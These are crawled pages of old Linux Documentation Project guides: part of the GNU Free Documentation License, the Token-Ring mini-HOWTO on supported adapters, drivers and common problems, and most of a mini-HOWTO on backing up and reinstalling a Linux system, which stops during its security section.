  • B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  • C. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  • D. Preserve all the copyright notices of the Document.

  • E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  • F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  • G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  • H. Include an unaltered copy of this License.

  • I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  • J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  • K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  • L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  • M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  • N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

Prev | Home | Next
3. COPYING IN QUANTITY | Up | 5. COMBINING DOCUMENTS


5. COMBINING DOCUMENTS

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.6. 5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
4. MODIFICATIONS | Up | 6. COLLECTIONS OF DOCUMENTS


6. COLLECTIONS OF DOCUMENTS

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.7. 6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
5. COMBINING DOCUMENTS | Up | 7. AGGREGATION WITH INDEPENDENT WORKS


7. AGGREGATION WITH INDEPENDENT WORKS

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.8. 7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
6. COLLECTIONS OF DOCUMENTS | Up | 8. TRANSLATION


8. TRANSLATION

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.9. 8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
7. AGGREGATION WITH INDEPENDENT WORKS | Up | 9. TERMINATION


9. TERMINATION

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License Next

A.10. 9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
8. TRANSLATION | Up | 10. FUTURE REVISIONS OF THIS LICENSE


10. FUTURE REVISIONS OF THIS LICENSE

Token-Ring mini-HOWTO
Prev A. GNU Free Documentation License

A.11. 10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home
9. TERMINATION | Up


Hardware requirements

Token-Ring mini-HOWTO
Prev Next

2. Hardware requirements

Make sure that you have a Token Ring card that is supported from the list below. Many PCI,ISA and even the odd MCA cards are now supported. Check http://www.linuxtr.net for the latest information.

Cards that are reported to work:

3COM

  • 3C389 PCMCIA

  • 3C619, 3C619B or 3C619C Token Link

  • 3C319 Velocity ISA

  • 3C359 Velocity XL - PCI

  • 3C339 Velocity PCI

IBM

  • PCI. PCI Token Ring Adapter; PCI Wake on Lan Token Ring Adapter; 16/4 Token Ring PCI Adapter 2, Wake on Lan, and Wake on Lan Special; High Speed 100/16/4 Token Ring Adapter, Token Ring 16/4 Management Adapter.

  • Cardbus. 16/4 Token Ring Adapter

  • LanStreamer. PCI: Auto LanStreamer, Triple Lanstreamer; MCA: LanStreamer MC16, Lanstreamer MC32, AutoLanstreamer MC32, Dual Lanstreamer MC32

  • ISA. Auto 16/4 Token Ring Adapter, 16/4 Token Ring Adapter, Turbo 16/4 Token Ring Adapter, Auto Wake Token Ring Adapter.

  • PCMCIA. Turbo 16/4 PC Card, Turbo 16/4 PC Card 2, Auto 16/4 Credit Card Adapter, 16/4 Credit Card Adapter, 16/4 Credit Card Adapter II

  • Tropic MCA. 16/4 Token Ring Adapter/A, Auto 16/4 Token Ring Adapter

Olicom

  • RapidFire 3139, 3140, 3141, and 3540

  • OC 3136

  • OC 3137

  • OC 3118

  • OC 3129

Madge

  • 51-02 Smart 16/4 PCI

  • 20-03 16/4 Cardbus Adapter Mk2

  • 51-04 Smart 16/4 PCI Ringnode Mk3

  • 51-09 Smart 16/4 Fiber PCI Ringnode

  • 51-07 Smart 100/16/4 PCI-HS Ringnode

  • 51-05 Smart 100/16/4 PCI Ringnode

  • 20-01 Smart 16/4 PCMCIA

  • 60-07 Presto PCI 2000

  • 60-06 Presto PCI Plus

  • 60-05 Presto PCI

  • 53-05 Smart Mk4 PCI Adapter (low profile)

  • 31-40 Rapidfire 3140V2 16/4 PCI Adapter

SysKonnect

  • TR4/16(+) SK-4190 ISA

  • TR4/16(+) SK-4590 PCI

  • TR4/16(+) SK-4591 PCI

SMC

  • Tokencard Elite (8115T)

  • Tokencard Elite/A MCA (8115T/A)

Intel

  • TokenExpress PRO

  • TokenExpress 16/4

Cards that may cause problems:

Token-Ring Network 16/4 Adapter II. This adapter will NOT work. Do not confuse this card with the IBM Token Ring adapter II (4mbit) which does. It is a DMA/Busmaster adapter for ISA.

3Com TokenLink Velocity ISA. You may or may not get this one to work. I have had reports of people running it without problems, and others who get errors left and right.

Prev | Home | Next
Introduction |  | Which driver should I use?


Token-Ring mini-HOWTO

Mike Phillips

mikep@linuxtr.net

Tom Gall

tom_gall@vnet.ibm.com

Mike Eckhoff

Revision History
Revision 5.00 | 2002-01-23 | Revised by: mlp
Updated to reflect the current state of Token Ring with Linux
Revision 4.3 | 29 March 2000 | Revised by: tg
Brought up to date.
Revision 4.1 | 7 January 1998 | Revised by: me
v4.1 released by Mike

This howto is designed to help you get up and running using a Token Ring adaptor to access the network. Generally speaking Section 3 will tell you which driver you need based on the adaptor card you have.

Table of Contents
1. Introduction
1.1. Special Thanks
1.2. Copyright Information
1.3. Disclaimer
1.4. New Versions
1.5. Credits
1.6. Feedback
2. Hardware requirements
3. Which driver should I use?
3.1. Drivers/Adapter Specifics
4. Known problems
5. VMWare and Token Ring
6. Commonly asked Questions
A. GNU Free Documentation License
A.1. 0. PREAMBLE
A.2. 1. APPLICABILITY AND DEFINITIONS
A.3. 2. VERBATIM COPYING
A.4. 3. COPYING IN QUANTITY
A.5. 4. MODIFICATIONS
A.6. 5. COMBINING DOCUMENTS
A.7. 6. COLLECTIONS OF DOCUMENTS
A.8. 7. AGGREGATION WITH INDEPENDENT WORKS
A.9. 8. TRANSLATION
A.10. 9. TERMINATION
A.11. 10. FUTURE REVISIONS OF THIS LICENSE
Next
Introduction


Introduction

Token-Ring mini-HOWTO
Prev Next

1. Introduction

Welcome to the Linux Token Ring mini-howto. We hope you find the information contained within helpful.

If you have any problems with the drivers that are not talked about in this howto, feel free to email me at <mikep@linuxtrnet>.

You may also wish to join the Linux on Token Ring Listserv by mailing <majordomo@linuxtr.net> with the body containing:
subscribe linux-tr
The latest and greatest information, drivers, patches, bug fixes, etc, etc can always be found at the Linux Token Project site.

1.1. Special Thanks

Thanks to Mark Swanson, Peter De Schrijver, David Morris, Paul Norton and everyone else who has contributed to the Token Ring code and drivers over the years.

Thanks also to the many people and companies who have provided hardware and technical documents to enable the drivers to be written in the first place.

Special Thanks to Mike Eckhoff the originator of this HOWTO, and Tom Gall for the previous version, and to Matthew Marsh for hosting the website and mailing list!

And, finally, thanks to all to subscribers to the linux-tr mailing list who have provided support, feedback, testing and thanks over the years. It wouldn't have been worth it without your continued support and gratitude.

1.2. Copyright Information

This documument is copyright (c) 1995-1998 by Michael Eckhoff, copyright(c) 2000 by Tom Gall and copyright (c) 2001 by Mike Phillips.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation, with no Invariant sections, with no Front-Cover Texts, and with no Back-Cover Texts.

A copy of the license is included in Appendix A

If you have any question, please contact <linux-howto@linuxdoc.org>

1.3. Disclaimer

No liability for the contents of this document can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the authors do not take any responsibility for that.

All copyrights are held by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.4. New Versions

The latest version of this document can always be found at Linux Token Ring Project under the Documentation section.

The latest version of this HOWTO will always be made available on the Linux Token Ring Project website, in a variety of formats:

  • HTML,

  • Plain text,

  • Adobe Acrobat pdf,

  • Postscript,

  • SGML source,

1.5. Credits

In this version I have the pleasure of acknowleding:

IBM for providing hardware, technical documentation and technical support when the tech docs didn't quite seem enough.

Madge for providing their hardware to test with.

3Com for proving the technical documents to allow the 3c359 driver to be developed.

1.6. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address: <mikep@linuxtr.net>

Prev | Home | Next
Token-Ring mini-HOWTO |  | Hardware requirements


Known problems

Token-Ring mini-HOWTO
Prev Next

4. Known problems

See www.linuxtr.net for the latest greatest set of bugs. Generally speaking the biggest problem that I've seen (with ibmtr) is that if you pull your connection from the wall the 2.0.x series of kernels would generally not recover.

This has been fixed in the latest version of ibmtr and the driver should now recognize when the link cable has been detached.

There are some laptops that don't want to work with the Olympic Cardbus adapter, for some reason the driver never sees the open interrupt from the card. I don't think this is a problem with the driver, but with the Cardbus subsystem, for some people this problem has simply gone away with a newer kernel and I personally have never seen it on the laptops I've used in the development of the driver (Sony Vaio Z505 and Dell Latitude CPx500).

Prev | Home | Next
Which driver should I use? |  | VMWare and Token Ring


Commonly asked Questions

Token-Ring mini-HOWTO
Prev Next

6. Commonly asked Questions

Here are a collection of commonly asked questions that arise from time to time on the linux-tr mailing list. If your question isn't answered here or elsewhere in this document, feel free to ask away on the mailing list.

Q: DHCP doesn't work with my Token Ring adapter.
Q: I can't set the LAA on my adapter with ifconfig tr0 hw tr 4000DEADBEEF.
Q: My Linux machine is on a bridged network and I'm having connectivity issues with machine beyond the bridge.
Q: Can I use a Linux machine to bridge between token ring and ethernet ?
Q: OK, if I can't bridge, how do I connect my Token Ring and ethernet networks ?

Q: DHCP doesn't work with my Token Ring adapter.

A: Certain dhcp servers and clients do not work properly with token ring drivers. This is especially true with the 2.4 kernels. During the development of the 2.3.x series of kernels the internal type for token ring was changed to accomodate multicast support over token ring. The solution is to upgrade your dhcp client/server to a version that supports token ring and/or the latest kernel versions.

Q: I can't set the LAA on my adapter with ifconfig tr0 hw tr 4000DEADBEEF.

A: Firstly, double check that your adapter/driver support setting the LAA, and that you've supplied a valid LAA. Also, most drivers will only allow this to be set before the adapter is opened onto the ring. Again, this is related to the change in the internal type for token ring in the 2.4 kernels. A patch is available from the web site for nettools that fixes this and allows the LAA to be set.

Q: My Linux machine is on a bridged network and I'm having connectivity issues with machine beyond the bridge.

A: The token ring source routing code in the kernel uses the spanning tree algorithm. Contact your network administrator to enable this protocol on the bridges.

Q: Can I use a Linux machine to bridge between token ring and ethernet ?

A: The simply answer in no. Briding network topologies in software is incredibly complicated and while it is possibly, nobody has written the code to do it. If you must bridge there are several manufacturers that produce hardware bridges (most notably Cisco).

Q: OK, if I can't bridge, how do I connect my Token Ring and ethernet networks ?

A: A cheap linux box with a token ring and ethernet adapter makes an excellent router. There is no difference between setting up a token ring/ethernet router and an ethernet/ethernet router. You can do masquerading (NAT) and filtering on the router as per usual. For more details see the Netfilter howto.

Prev | Home | Next
VMWare and Token Ring |  | GNU Free Documentation License


VMWare and Token Ring

Token-Ring mini-HOWTO
Prev Next

5. VMWare and Token Ring

Thanks to Scott Russell scottrus@raleigh.ibm.com for this little "trick"

One of the bummers about VMWare is if you are on a Token-Ring adapter, your VMWare system can't have a real TCP/IP address. Turns out this isn't the case. Here's how to do it.

  • In the info below we'll call your linux box 'linux.mycompany.biz.com'

  • Register another ip address, I'll call it 'vmware.mycompany.biz.com'

  • Make sure FORWARD_IPV4=true in your /etc/sysconfig/network file. If you have to change it you can dynamically turn on the feature as root
     cat 1 > /proc/sys/net/ipv4/ip_forward

  • Alias the second ip to the TR adapter. You end up with something like this from /sbin/ifconfig:
                tr0 linux.mycompany.biz.com
            tr0:0 vmware.mycompany.biz.com
            vmnet1 192.168.0.1

  • Make sure you can ping both ip addresses from another box. If you cannot then this next step will not work.

  • Use ipchains/iptables to redirect incoming traffic for the tr0:0 interface to your vmnet1 interface. (When I did this I only redirected specific ports from tr0:0 to vmnet1.)

Now any outside system your 'NT' box appears to be on the TR. In bound traffic can find it as well as out.

Prev | Home | Next
Known problems |  | Commonly asked Questions


Upgrading Your linux Distribution mini-HOWTO

Greg Louis

glouis@dynamicro.on.ca

Copyright © 1996, 2002 by Dynamicro Consulting Limited

Hints and tips on upgrading from one linux distribution to another. This is version 1.2, 2002-03-09.

Table of Contents
1. IMPORTANT!!! Disclaimer and Copyright
2. Changes since version 1.1
3. Introduction
3.1. How to slay and reincarnate your linux box!
3.2. Why would anyone want to do that?
3.3. Do you have to ``destroy and reinstall?''
3.4. How long will it take?
4. Write down everything you do.
5. Make a full backup of the existing system.
6. Back up /etc and its subdirectories on one or more floppies.
7. Make separate backups of each group of files you want to preserve.
8. Prepare root and boot floppies for the new installation.
9. Format floppies for the temporary kernel and the final build.
10. Inhibit logins and back up the /root and /home trees.
11. Boot from the new installation's boot and root floppies.
12. Delete the linux partitions with fdisk and recreate them.
13. Run the new linux installation.
14. Restore configuration data to the /etc directory and subdirectories.
15. Configure and rebuild the linux kernel.
16. Restore the stuff from the backups you made earlier.
17. Review security.
18. Enable logins.
19. Sorry, but once again: USE THIS INFORMATION AT YOUR OWN RISK!
20. Acknowledgements
Next
IMPORTANT!!! Disclaimer and Copyright


IMPORTANT!!! Disclaimer and Copyright

Upgrading Your linux Distribution mini-HOWTO
Prev Next

1. IMPORTANT!!! Disclaimer and Copyright

The procedure to which this document attempts to be a guide is inherently dangerous to the programs and data stored in your computer. You carry out any such procedure entirely at your own risk. The steps described in this document worked for the author; there is no guarantee that they will work for you, nor that you can attempt to follow them without serious damage to your computer's programs and/or data. You are entirely on your own in any use you may make of the information presented herein, and the author shall not be liable in any way whatsoever for any damage or inconvenience of any kind that you may suffer in so doing.

This document is copyright © 1996, 2000 Dynamicro Consulting Limited, and is released under the terms of the GNU General Public License. This basically means that you may copy and modify it at will, but may not prevent others from doing likewise.

Comments and questions may be directed to the author. Especially welcome, for use in future revisions, are accounts of successful upgrades of complex systems.

Prev | Home | Next
Upgrading Your linux Distribution mini-HOWTO |  | Changes since version 1.1


Changes since version 1.1

Upgrading Your linux Distribution mini-HOWTO
Prev Next

2. Changes since version 1.1

  • Converted to docbook

  • Corrected some obsolete information

  • Added this history section

  • Added Zoltán Hidvégi's suggestion re mtime and ctime. Thanks, Zoltán!

  • Added an Acknowledgements section

Prev | Home | Next
IMPORTANT!!! Disclaimer and Copyright |  | Introduction


Introduction

Upgrading Your linux Distribution mini-HOWTO
Prev Next

3. Introduction

3.1. How to slay and reincarnate your linux box!

The purpose of this document is to offer tips to help you through the destruction and reinstallation of a linux system. It's not a foolproof cookbook by any means, but I hope it will serve as some indication of what you need to think about, and of the order in which to do things. It would have been a help to me, if someone else had written something like this before I did my first upgrade; so I hope it will be a help to you, if you have a linux machine to rebuild.

Don't take it as gospel, though: your mileage will almost certainly vary. Even the directory names in this document may be different from the ones you need to use; some people have /usr/home instead of /home, for example; others call it /u, and some (delicate shudder :) even put all their users directly under /usr itself! I can't be specific about your system, so I've just used the names the way they are in mine.

You'll also notice that I use Slackware distributions, and that I assume you've enough RAM and hard disk space to install linux kernel source and build your own kernel. If your system is different, some of my recommendations won't apply; but I hope you'll still find the general outline to be of assistance in your rebuild project.

3.2. Why would anyone want to do that?

Good question! If it can possibly be avoided, don't do it! (That's the single most important recommendation in this whole guide!!!) When this guide was first written, not many people had hard disks big enough to accomodate two whole Linux installations; these days, that's by no means uncommon. If you possibly can, build your new system in a separate partition (or group of partitions), keeping the old one intact till you're satisfied that the new one is just the way you want it. If you can avoid destroying the old system to make room for the new, by all means avoid it! But there are times when you may have no choice.

(These examples are a bit dated, but they serve to illustrate my point:)

For example, I installed a 4Gb hard disk and then found out that Slackware 2.0 vintage linux didn't know a hard disk could have more than 2Gb, and it got horribly confused. So I had to upgrade to the then-current Slackware 2.3. That upgrade was a gruelling experience, and it's part of the reason I'm writing these notes. I did just about everything wrong, and only good luck and the fact that I had another running linux box beside me saved me from disaster.

As another example, I found that I just couldn't succeed in building a working a.out linux kernel in the 1.3 series, using an out-of-the-box Slackware 2.3 installation (another machine, not the one I botched before). I took the plunge, bought Slackware 3.0 on CDROM and converted to ELF. This time the reinstallation went better, thanks in part to the previous bitter experience, and it served as the source of most of the ideas I'm offering you here.

3.3. Do you have to ``destroy and reinstall?''

See above. If you can build your new system in otherwise empty disk space, do it! For the rest of this document, however, I'll assume that this is one of those times when that option isn't available; you either have to reinstall "in place," over top of the existing system, or you have to bite the bullet and rebuild from scratch.

The latter is safer, oddly enough. If you install over top of an existing linux system, chances are you'll have a mixture of old and new binaries, old and new configuration files, and generally a mess to try to administer. Wiping the system clean, and then putting back only what you know you need, is a drastic but effective way to get a clean result. (Of course we're talking about installing a whole new linux distribution here, not about upgrading one or two packages! The best way to avoid having to do a full reinstallation is, precisely, to keep the individual bits -- especially gcc and its libraries, and binutils -- current. If the stuff you use is reasonably up-to-date, and you can keep it so by bringing in, and if need be compiling, new code from time to time, then there's no need for a mass upgrade.)

3.4. How long will it take?

Depends, of course, on how complex your system is. But I figure that, for the successful upgrade (the other one? -- don't ask! :) I spent about ten hours making backups, six hours rebuilding the system to the point where I could enable logins, and another half day or thereabouts restoring the less-crucial stuff. As time passes I keep discovering little things that still aren't exactly as I want them -- I fix these as they're encountered -- but in the main, twenty hours' work should suffice for a reasonably complex rebuilding job. Maybe less if you're reinstalling from hard disk (I used CDROM) or more if you need to install from floppies. Maybe less if you've got a fast Pentium, more if it's a 386. You get the idea.

Those were the bad old days. Now, with faster disks and faster machines and CD writers, things go better. My notebook was stolen in December, 2002, and when the new one came, I was up and pretty near complete -- despite having lost the old system without the chance to save the latest changes -- after about seven hours of effort.

So much for the introduction. Here's how to set about it, once you've decided it must be done. Arm yourself with fortitude and Jolt or whatever, and:

Prev | Home | Next
Changes since version 1.1 |  | Write down everything you do.


Write down everything you do.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

4. Write down everything you do.

It's extremely valuable to have a record of what you've done in the process of preparing for, and carrying out, the changeover. Especially important is a list of the backups you'll be making in preparation for the destruction of your existing system.

Prev | Home | Next
Introduction |  | Make a full backup of the existing system.


Make a full backup of the existing system.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

5. Make a full backup of the existing system.

Generally speaking, big backups tend to be written on media that are sequentially accessed. That being so, you won't want to use this complete backup for restoring significant numbers of files; it's got too many files on it that you don't want. It's better to create small backups of individual segments that you know you're going to restore in their entirety. I'll list a bunch of examples later.

Why then should you start with a full backup? Two basic reasons: first, in the event of a catastrophic failure installing the new system, you'll have a way to get back to the starting point with minimum pain. Second, no matter how carefully you prepare for the new installation, there is a very large chance that one or two important files will be overlooked. In that case the clumsiness of restoring those one or two files from the full backup set will be preferable to the inconvenience of doing without them.

To save time and space, if you've still got the distribution medium for your old linux version, you might want to back up only those files the mtime or ctime of which is more recent than the date of the original installation.

Prev | Home | Next
Write down everything you do. |  | Back up /etc and its subdirectories on one or more floppies.


Back up /etc and its subdirectories on one or more floppies.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

6. Back up /etc and its subdirectories on one or more floppies.

This is the other extreme: you won't be restoring these files (for the most part, anyway); you'll be comparing them with the new ones that get created during installation. Why? Because the new ones may have data that the old ones didn't, or may express the old data in new ways. Changes in protocols, addition of new tools, or implementation of new features in existing tools may all dictate changes in the formats of the configuration files and startup scripts that the /etc tree contains, and you'll very likely have to edit your old data into these files so as to preserve the new formats and take advantage of the improvements.

Prev | Home | Next
Make a full backup of the existing system. |  | Make separate backups of each group of files you want to preserve.


Make separate backups of each group of files you want to preserve.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

7. Make separate backups of each group of files you want to preserve.

This is the most variable part of the job, and all I can really do to help is to describe what I did in my system, in the hope that it will serve as a rough guide. Basically, you want to look at every directory that contains any

  • files that aren't part of your standard linux installation, or

  • files that are actually newer than the ones you'll install when you do your new linux installation.

and separate out only those files that you want to carry over.

(Another possible strategy is to back up all files with mtime or ctime more recent than the day of the previous linux installation, as mentioned above, and then restore from that. If you do that, you have to take into account that the new linux distribution may contain versions of some files that are newer still than the ones you saved.)

In my case, I ended up making a .tgz file on the backup medium for each of

  • /usr/lib/rn

  • /usr/lib/smail

  • /usr/lib/trn (the rest of /usr/lib would be reinstalled)

  • /usr/local/src

  • /usr/local/bin

  • /usr/local/lib

  • /usr/local/lpfont

  • /usr/local/man

  • /usr/local/sbin

  • /usr/local/thot (there were other /usr/local files I didn't need)

  • /usr/openwin

  • /usr/src/lilo-17 (because my new Slackware still had version 16)

  • /usr/src/linux-1.2.13 (because I'd done some customizing)

  • /usr/X11R6/lib/X11/app-defaults

  • /usr/X11R6/lib/X11/initrc (the rest of Xfree86 was to be reinstalled)

  • /var/named

  • /var/openwin

  • /var/texfonts

My machine was relatively easy in that there were no spool files to worry about. I don't run a news spool on this box, and since there are only two users, it was easiest just to get all the mail read before shutting down. Otherwise, /var/spool directories would have had to be backed up at the last minute. (And, of course, the news library and site directories!)

Prev | Home | Next
Back up /etc and its subdirectories on one or more floppies. |  | Prepare root and boot floppies for the new installation.


Prepare root and boot floppies for the new installation.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

8. Prepare root and boot floppies for the new installation.

If you're lucky, your new package will include a bootable CD and this step won't be needed. If you haven't got a CDROM drive, or can't boot from it, details of how to make the floppies will be found in the installation guide for your new distribution.

Prev | Home | Next
Make separate backups of each group of files you want to preserve. |  | Format floppies for the temporary kernel and the final build.


Format floppies for the temporary kernel and the final build.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

9. Format floppies for the temporary kernel and the final build.

You'll need two, one floppy for each.

After all that's done, you're ready for the Big Moment. The next step removes the system from production.

Prev | Home | Next
Prepare root and boot floppies for the new installation. |  | Inhibit logins and back up the /root and /home trees.


Inhibit logins and back up the /root and /home trees.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

10. Inhibit logins and back up the /root and /home trees.

This is the last thing to be done on the old system before you destroy it, so as to carry forward the most current user and root information. To inhibit logins, just echo "getting ready for upgrade" >/etc/nologin (as root, of course).

Prev | Home | Next
Format floppies for the temporary kernel and the final build. |  | Boot from the new installation's boot and root floppies.


Boot from the new installation's boot and root floppies.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

11. Boot from the new installation's boot and root floppies.

Or, if you have that capability, boot the installation CD itself.

Prev | Home | Next
Inhibit logins and back up the /root and /home trees. |  | Delete the linux partitions with fdisk and recreate them.


Delete the linux partitions with fdisk and recreate them.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

12. Delete the linux partitions with fdisk and recreate them.

The installation guide will explain how to set about doing this, which will destroy the old system. From now on you're dependent on the quality of the backups you made in the earlier steps! You have been warned!

Prev | Home | Next
Boot from the new installation's boot and root floppies. |  | Run the new linux installation.


Run the new linux installation.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

13. Run the new linux installation.

There are already several good documents describing how to do this, so I'm not going into any detail. Continue from here when the new system can boot from its hard disk.

Along the way, be sure to make a floppy that you can boot as well, since the kernel that the linux setup installs has to be replaced and accidents can happen during that process. Be sure to install the development packages and the kernel source.

Prev | Home | Next
Delete the linux partitions with fdisk and recreate them. |  | Restore configuration data to the /etc directory and subdirectories.


Restore configuration data to the /etc directory and subdirectories.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

14. Restore configuration data to the /etc directory and subdirectories.

As described above, you can't just copy all of the old files back into /etc and expect things to work properly afterward. Some files you can do that with; for example, /etc/XF86Config (as long as you're using the same version of XFree86 -- and the same video hardware -- in the new installation as you did in the old). For the most part, though, it's best to use diff to compare the old and new files before doing any copying. Watch out especially for significant changes in the files in /etc/rc.d and friends, which may require you to reestablish your old configuration by hand editing, instead of by copying the old rc scripts from your backup. Once it's all done, reboot.

Prev | Home | Next
Run the new linux installation. |  | Configure and rebuild the linux kernel.


Configure and rebuild the linux kernel.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

15. Configure and rebuild the linux kernel.

Even if you don't absolutely have to do this in order to get a kernel that supports your hardware, it's worth doing it in order to get a kernel that doesn't contain masses of drivers for stuff your machine doesn't have -- and even more so, in order to get a good understanding of how your kernel configuration options affect the behaviour of your system! As linux grows, the ability of the distribution vendors to configure a one-size-fits-all kernel has become very limited. For details on how it's done, see the Kernel HOWTO; it looks complicated at first, but it's not rocket science; just take it a step at a time.

Install the rebuilt kernel on a floppy at first; once that boots ok, install on the hard disk, run lilo if you're using it, and reboot.

Prev | Home | Next
Restore configuration data to the /etc directory and subdirectories. |  | Restore the stuff from the backups you made earlier.


Restore the stuff from the backups you made earlier.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

16. Restore the stuff from the backups you made earlier.

Some of the binaries may need to be reinstalled from the source directories; I had to do that with lilo, for example, since my version was newer than the one on the Slackware installation and I hadn't bothered to save the binary from /sbin. You'll want to check through your restored programs and confirm the existence and correctness of configuration files, libraries and so on. In some cases, you may have to restore things in a specific order; you did make notes during backup, didn't you? ;-)

Prev | Home | Next
Configure and rebuild the linux kernel. |  | Review security.


Review security.

Upgrading Your linux Distribution mini-HOWTO
Prev Next

17. Review security.

(Sigh...) When I wrote this, this step was important but not crucial; the Internet was a friendlier place even in 1996 than it is today. Now, if your machine has Internet access, this step is utterly vital, and there are whole books devoted to getting it right; I can do nothing more here than offer a few very basic pointers:

Check file permissions and directory permissions to be sure that access is neither too restricted nor too easy. I find that Slackware tends to lean toward a more open environment than I like, so I go around changing 755's to 711's for binaries in the .../bin directories and stuff like that. Or even 700's in the .../sbin ones. Especial care is needed if you've carried over ftp, telnet or web servers; but then, if you were running those, you probably thought of that already. :)

